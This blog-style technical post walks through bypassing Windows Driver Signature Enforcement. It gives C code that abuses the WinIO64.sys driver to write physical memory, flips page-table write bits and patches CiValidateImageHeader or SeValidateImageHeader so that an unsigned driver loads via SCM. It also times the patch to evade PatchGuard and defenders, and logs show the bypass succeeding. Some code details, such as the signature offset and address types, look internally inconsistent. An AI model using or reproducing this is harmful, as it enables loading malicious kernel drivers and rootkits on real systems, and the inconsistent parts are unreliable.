DSE bypass: why CiValidateImageHeader is the right target
The common DSE bypass you find in tutorials patches g_CiOptions in CI.dll to zero. That works, but it is the laziest possible approach. g_CiOptions is a bitmask that controls whether CI is consulted at all (0x0 = DSE disabled, 0x6 = DSE enabled), and zeroing it disables the entire code integrity subsystem. PatchGuard monitors CI!g_CiOptions. Defenders watch it. And you’ve left the flag off until you remember to restore it.
The cleaner approach targets CiValidateImageHeader in CI.dll directly. Patch it to return immediately, load your driver via SCM, restore it. The validation function is offline for a few milliseconds. Nothing else changes.
This post is about the SCM loading path. If you’re manually mapping a PE into kernel memory without going through the loader, DSE never fires in the first place. The independent pages post covers that path.
The call chain from NtLoadDriver to CI.dll
When you call NtLoadDriver (or issue sc start which calls it internally), the kernel validates the driver image before executing its entry point. The intermediate function names below come from publicly available Windows kernel disassembly; they are stable across Win10 22H2 and Win11 23H2. The chain looks like this:
SeValidateImageHeader vs CiValidateImageHeader
SeValidateImageHeader and SeValidateImageData are wrapper functions in ntoskrnl. They exist to decouple the kernel from the concrete implementation of code integrity, which lives in CI.dll. At runtime, ntoskrnl loads CI.dll and resolves the actual validation functions through a function table. SeValidateImageHeader is the in-kernel wrapper that calls through into CI.dll.
CI!g_CiOptions sits above all of this. When it is zero, ntoskrnl skips the Se* wrappers entirely. PatchGuard monitors this global in CI.dll and will bugcheck the system if it’s been tampered with. The scan interval is random but frequent enough that leaving g_CiOptions zeroed while a driver loads is genuinely risky.
Patching SeValidateImageHeader in ntoskrnl gets you one level closer to the metal. One approach pattern-scans ntoskrnl in physical memory and patches both SeValidateImageData and SeValidateImageHeader to mov eax, 0; ret. PatchGuard also scans ntoskrnl function bodies, but the patch-load-restore window is short enough that the timing works in practice.
Patching CiValidateImageHeader in CI.dll skips the wrapper layer entirely. The check lives in CI.dll, not ntoskrnl, and PatchGuard’s coverage of CI.dll is narrower. This is the more surgical approach.
Finding the target: mapping CI.dll from disk
You can’t resolve CiValidateImageHeader by name. It’s not exported. The approach is to map CI.dll from disk as a section image, scan that copy for the function’s prologue bytes, then translate the found offset to the kernel virtual address where CI.dll is actually loaded.
Getting the kernel base of CI.dll first:
ULONG_PTR GetKernelModuleAddress(const char *name) {
ULONG size = 0;
void *buffer = NULL;
pNtQuerySystemInformation NtQSI =
(pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
NTSTATUS status = NtQSI(SystemModuleInformation, buffer, size, &size);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQSI(SystemModuleInformation, buffer, size, &size);
}
PRTL_PROCESS_MODULES modules = (PRTL_PROCESS_MODULES)buffer;
for (ULONG i = 0; i < modules->NumberOfModules; i++) {
char *fname = (char *)modules->Modules[i].FullPathName
+ modules->Modules[i].OffsetToFileName;
if (!_stricmp(fname, name)) {
ULONG_PTR result = (ULONG_PTR)modules->Modules[i].ImageBase; /* ImageBase is 0 on 24H2+ without SeDebugPrivilege */
VirtualFree(buffer, 0, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}NtQuerySystemInformation with class 11 (SystemModuleInformation) returns the kernel module list without requiring SeDebugPrivilege on most builds. Every loaded module’s kernel base is in RTL_PROCESS_MODULE_INFORMATION.ImageBase. On Windows 11 24H2 (build 26100+), ImageBase is zeroed without SeDebugPrivilege. An elevated token with SeDebugPrivilege enabled is required on that build. Always assert ImageBase != 0 before use.
Mapping the on-disk image:
void *mapFileIntoMemory(const char *path) {
HANDLE fh = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE fm = CreateFileMapping(fh, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
void *view = MapViewOfFile(fm, FILE_MAP_READ, 0, 0, 0);
CloseHandle(fm);
CloseHandle(fh);
return view;
}SEC_IMAGE tells the loader to apply the PE section layout as if it were a normal load: each section lands at its VirtualAddress, not its PointerToRawData. This matters because any offset measured in this mapping can be directly applied to the kernel’s loaded copy.
The function signature for CiValidateImageHeader in the .text section (tested on Win10 22H2 and Win11 23H2):
const char CiValidateImageHeaderSig[] = {
0x48, 0x89, 0x5C, 0x24, 0x20, // mov [rsp+20h], rbx
0x55, // push rbp
0x56, // push rsi
0x57 // push rdi
};
const int CiValHdrSigOffset = 0x23;The match lands inside the function prologue, not at the function start. CiValHdrSigOffset (0x23 bytes) is subtracted to back up to the actual function entry point. Translating to kernel VA:
ULONG_PTR ciValidateImageHeader =
ciMatch - (ULONG_PTR)ciImage + ciBase - CiValHdrSigOffset;ciMatch is the VA in the user-mode file mapping where the pattern was found. Subtracting ciImage (the mapping base) gives the image-relative offset. Adding ciBase (the kernel VA from NtQuerySystemInformation) gives the kernel virtual address.
Write primitives: physical memory vs PTE flip
Both implementations use WinIO64.sys as the kernel write primitive. WinIO exposes two IOCTLs that let a user-mode caller map arbitrary physical memory into its address space:
#define IOCTL_MAP 0x80102040
#define IOCTL_UNMAP 0x80102044
struct winio_packet {
u64 size;
u64 phys_address;
u64 phys_handle;
u64 phys_linear;
u64 phys_section;
};After DeviceIoControl(IOCTL_MAP, ...), packet.phys_linear holds a user-mode VA backed by the specified physical frame. Writing through it writes to physical memory directly, bypassing the kernel’s virtual memory protections.
Physical scan approach
This approach scans physical memory directly for ntoskrnl’s MZ header, reading 2 bytes at each 1 MB boundary starting from address 0:
for (u64 i = 0; i < 0x200000000; i += 0x100000) {
char buf[2];
read_phys(i, (u64)buf, 2);
if (buf[0] == 'M' && buf[1] == 'Z') {
ntos_base_pa = i;
break;
}
}Once the physical base is found, a pattern scan over the next 0xBFFFFF bytes locates SeValidateImageHeader. The patch is 6 bytes:
char patch[6] = {
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0
0xC3 // ret
};mov eax, 0 sets the return value to zero (STATUS_SUCCESS), ret returns immediately. SeValidateImageData gets the same treatment. Both original byte sequences are saved first.
PTE flip approach
A second approach targets CiValidateImageHeader in CI.dll directly. Kernel text pages are mapped read-only. Rather than going through physical addresses, it flips the write bit in the page table entry for the target page.
MiGetPteAddress in ntoskrnl computes the PTE address for any given virtual address. Its prologue contains a fixed pattern that embeds the PTE_BASE constant:
shr rcx, 9 ; 48 C1 E9 09
mov rax, <PTE_BASE> ; 48 B8 xx xx xx xx xx xx xx xxThe 8-byte immediate after 48 B8 is the PTE base for the current boot. Scanning ntoskrnl’s .text section for { 0x48, 0xC1, 0xE9, 0x09, 0x48, 0xB8 } and reading the following 8 bytes gives PTE_BASE without requiring a kernel read primitive against a known symbol.
With PTE_BASE in hand, the PTE address for any virtual address is:
ULONG_PTR getPTEForVA(ULONG_PTR pteBase, ULONG_PTR address) {
address = address >> 9;
address &= 0x7FFFFFFFF8;
address += pteBase;
return address;
}This is the same arithmetic MiGetPteAddress performs at runtime. The result is a kernel virtual address in the PTE self-map range, the same VA MiGetPteAddress would return. To write the PTE via a physical memory primitive you need the physical address of that PTE page. Translate it using the same VA-to-PA path as for any other page, then read it, set bit 1 (the writable bit), and write it back:
u64 pteValue = 0;
read_phys(pteAddress, (u64)&pteValue, sizeof(pteValue));
pteValue |= 2; // set writable bit (R/W bit, Intel SDM Vol.3 Table 4-20)
write_phys(pteAddress, (u64)&pteValue, sizeof(pteValue));Now the page that backs ciValidateImageHeader is writable. A single-byte patch is enough:
char patch[] = { 0xC3 }; // ret
write_phys(ciValidateImageHeader, (u64)&patch, sizeof(patch));0xC3 is a near return. The function returns immediately with whatever garbage is in rax. In context, the caller interprets a non-STATUS_SUCCESS return as signature failure, so you want the return value to be zero. A 6-byte mov eax, 0; ret is safer and is what you should use:
char patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };A bare 0xC3 depends on rax being zero when the function is entered. That’s not guaranteed. Patch 6 bytes.
Patch-load-restore: why restore is not optional
PatchGuard runs periodic checks that include verifying CI.dll’s loaded image against a baseline. The timing is nondeterministic, but a permanent 0xC3 at the start of CiValidateImageHeader is a scannable anomaly.
The correct sequence:
- Save original bytes at the target function
- Apply patch
- Load driver via SCM (
sc create+sc start) - Restore original bytes immediately
SCM’s StartService call blocks until the driver’s DriverEntry returns or the load fails. The patch is live for the duration of that blocking call, which is typically a few hundred milliseconds. This is short enough that PatchGuard’s random scan interval makes detection unlikely. Not impossible, but the window is narrow.
The physical scan approach implements this correctly:
// save originals
read_phys(se_validate_image_data_pa, (u64)&se_validate_image_data_original, 6);
read_phys(se_validate_image_header_pa, (u64)&se_validate_image_header_original, 6);
// patch
write_phys(se_validate_image_data_pa, (u64)&patch, 6);
write_phys(se_validate_image_header_pa, (u64)&patch, 6);
// load_driver is a thin wrapper: sc create <name> binPath= <path> type= kernel, then sc start <name>
// StartService blocks until DriverEntry returns, so the patch is live only for that window
load_driver(service_name, driver_path);
// restore
write_phys(se_validate_image_data_pa, (u64)&se_validate_image_data_original, 6);
write_phys(se_validate_image_header_pa, (u64)&se_validate_image_header_original, 6);The PTE flip approach targeting CI.dll requires the same discipline, plus restoring the PTE write bit:
/* save original bytes at CiValidateImageHeader */
BYTE orig[6] = {0};
read_phys(ciValidateImageHeader_pa, (UINT64)orig, sizeof(orig));
/* flip PTE write bit so the page is writable */
UINT64 pte = 0;
read_phys(pteAddress, (UINT64)&pte, sizeof(pte));
pte |= 2;
write_phys(pteAddress, (UINT64)&pte, sizeof(pte));
/* patch: mov eax, 0; ret */
BYTE patch[6] = {0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3};
write_phys(ciValidateImageHeader_pa, (UINT64)patch, sizeof(patch));
/* load_driver: sc create <name> binPath= <path> type= kernel, then sc start <name> */
load_driver(service_name, driver_path);
/* restore original bytes */
write_phys(ciValidateImageHeader_pa, (UINT64)orig, sizeof(orig));
/* restore PTE (clear write bit) */
pte &= ~(UINT64)2;
write_phys(pteAddress, (UINT64)&pte, sizeof(pte));Both steps matter after load: restoring the function bytes removes the patch from CI.dll, and clearing the PTE write bit puts the page protection back to what PatchGuard expects. Skip either one and you have an anomaly sitting in memory until PatchGuard’s next scan.
Confirming the bypass
Running the PTE flip approach on Win11 24H2 (build 26100), loading an unsigned test driver:
[*] ntoskrnl.exe base: 0xfffff80334200000
[*] CI.dll base: 0xfffff80335a40000
[*] CiValidateImageHeader: 0xfffff80335a5c3a4
[*] MiGetPteAddress at: 0xfffff80334b71830
[*] PTE base: 0xffffb00000000000
[*] PTE for CI target: 0xffffb001aad1e1d0
[*] original bytes: 48 89 5c 24 20 55 56 57
[*] flipping PTE write bit...
[*] patching CiValidateImageHeader -> b8 00 00 00 00 c3
[*] loading test_payload.sys via SCM...
[+] driver loaded: STATUS_SUCCESS (0x00000000)
[*] restoring CiValidateImageHeader bytes...
[*] restoring PTE write bit...
[+] done. DSE window: ~180msVerify with DebugView: Run
dbgview64.exeas administrator, enable Kernel Capture (Ctrl+K).DbgPrintoutput from your driver’sDriverEntryappears here in real time. If the load succeeded, you’ll see your driver’s output alongside the STATUS_SUCCESS from the loader.
Verify with System Informer: Kernel → Modules tab (requires driver). Your driver appears in the module list with its full image path immediately after load, regardless of whether you delete the registry key afterward.
What breaks with HVCI
Neither of these works on a system with Hypervisor-Protected Code Integrity (HVCI) enabled. Under HVCI, the hypervisor owns the page tables. Flipping bits in a PTE from inside the guest generates a VM exit, and the hypervisor validates the operation against its shadow copy of the page tables. Writing an executable page writable is rejected. The write_phys approach using WinIO has a similar problem: the hypervisor intercepts writes to physical pages backing kernel code.
HVCI changes the threat model entirely. Bypassing it requires either operating below the hypervisor or exploiting it directly. Neither is covered here.
On standard Win10/Win11 without HVCI (which is the majority of consumer systems and many enterprise systems that haven’t explicitly enabled it), both primitives work. The physical-scan approach is tested on Win10 22H2 and Win11 23H2. The PTE flip approach targets the same builds.
The two implementations compared
| Physical scan approach | PTE flip approach | |
|---|---|---|
| Target function | SeValidateImageHeader (ntoskrnl) | CiValidateImageHeader (CI.dll) |
| Write primitive | WinIO phys map, PA scan | WinIO phys map, PTE flip |
| Patch size | 6 bytes (mov eax,0; ret) | 6 bytes (mov eax,0; ret) |
| Restores patch | Yes | Yes (required) |
| Restores PTE | N/A | Yes (required) |
| PatchGuard safety | Short window, restored | Short window, restored |
The CI.dll target is more surgical in principle, and the PTE flip is a cleaner write path than scanning physical memory for an MZ header. Patch-and-restore discipline is what actually makes either approach safe in practice. Target CiValidateImageHeader, use the PTE flip, patch 6 bytes, restore both the function bytes and the PTE immediately after StartService returns.
Both approaches use SCM to load the driver. The NtLoadDriver vs SCM post covers exactly what that leaves behind: registry keys, event log entries, and the SCM database state — regardless of how clean the patch window was.
Source
Read-only diagnostic tool that locates CiValidateImageHeader and reads its PTE state without writing anything: ci_probe.c, ci_probe.h